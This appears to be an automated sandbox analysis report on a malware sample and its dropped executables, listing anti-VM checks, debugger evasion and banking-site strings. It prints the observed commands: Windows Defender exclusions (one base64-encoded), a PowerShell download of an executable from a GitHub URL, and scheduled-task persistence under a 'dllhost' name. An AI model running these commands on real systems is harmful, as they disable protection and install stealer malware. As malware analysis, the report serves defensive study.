Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep count: 2445 > 30

Source: C:\dmikhsv\file_scaricato.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\dmikhsv\file_scaricato.exe	Last function: Thread delayed
Source: C:\dmikhsv\file_scaricato.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF624709D44 FindFirstFileExW,

0_2_00007FF624709D44

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599342	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 599066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598842	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr	Binary or memory string: Vmwaretrat
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr	Binary or memory string: vboxservice
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732184735.000000000155C000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502538901.00000000043DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: &VBoxService.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr	Binary or memory string: Vmwareuser
Source: file_scaricato.exe, 0000000E.00000003.1502538901.00000000043D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr	Binary or memory string: vboxtray
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: VBoxService.exe
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000D49000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1728661956.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr	Binary or memory string: Vmtoolsd
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000D49000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: VMWare
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000D49000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\Arly.exe1.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_0-22209

Hides threads from debuggers

Source: C:\dmikhsv\file_scaricato.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\dmikhsv\file_scaricato.exe

Code function: 14_2_00BE9630 LdrInitializeThunk,

14_2_00BE9630

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF6246F1E50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6246F1E50

Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_033C80A6 mov eax, dword ptr fs:[00000030h]		14_2_033C80A6
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_033C7DD0 mov eax, dword ptr fs:[00000030h]		14_2_033C7DD0

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF62470B9E8 GetProcessHeap,

0_2_00007FF62470B9E8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F1E50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6246F1E50
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F9E3C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6246F9E3C
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F1FF4 SetUnhandledExceptionFilter,	0_2_00007FF6246F1FF4
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: 0_2_00007FF6246F1B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6246F1B9C

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"	Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded <#JE00Lt7RDo#> Add-MpPreference <#evp#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#LuDn#> -Force <#6Aeatn#>
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded <#JE00Lt7RDo#> Add-MpPreference <#evp#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#LuDn#> -Force <#6Aeatn#>

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF6246E31C0 GetModuleFileNameW,ShellExecuteW,

0_2_00007FF6246E31C0

Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe	Process created: C:\dmikhsv\file_scaricato.exe "C:\dmikhsv\file_scaricato.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA="
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga="
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga="

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF6246E4510 GetConsoleWindow,ShowWindow,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,_Thrd_detach,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,

0_2_00007FF6246E4510

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF6247135E0 cpuid

0_2_00007FF6247135E0

Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF62470E594
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: GetLocaleInfoW,	0_2_00007FF624701E4C
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: EnumSystemLocalesW,	0_2_00007FF62470DEA8
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF62470E010
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: EnumSystemLocalesW,	0_2_00007FF62470DF78
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: EnumSystemLocalesW,	0_2_00007FF624701974
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: GetLocaleInfoW,	0_2_00007FF62470E258
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF62470DB4C
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF62470E3B0
Source: C:\Users\user\Desktop\Arly.exe1.exe	Code function: GetLocaleInfoW,	0_2_00007FF62470E460

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
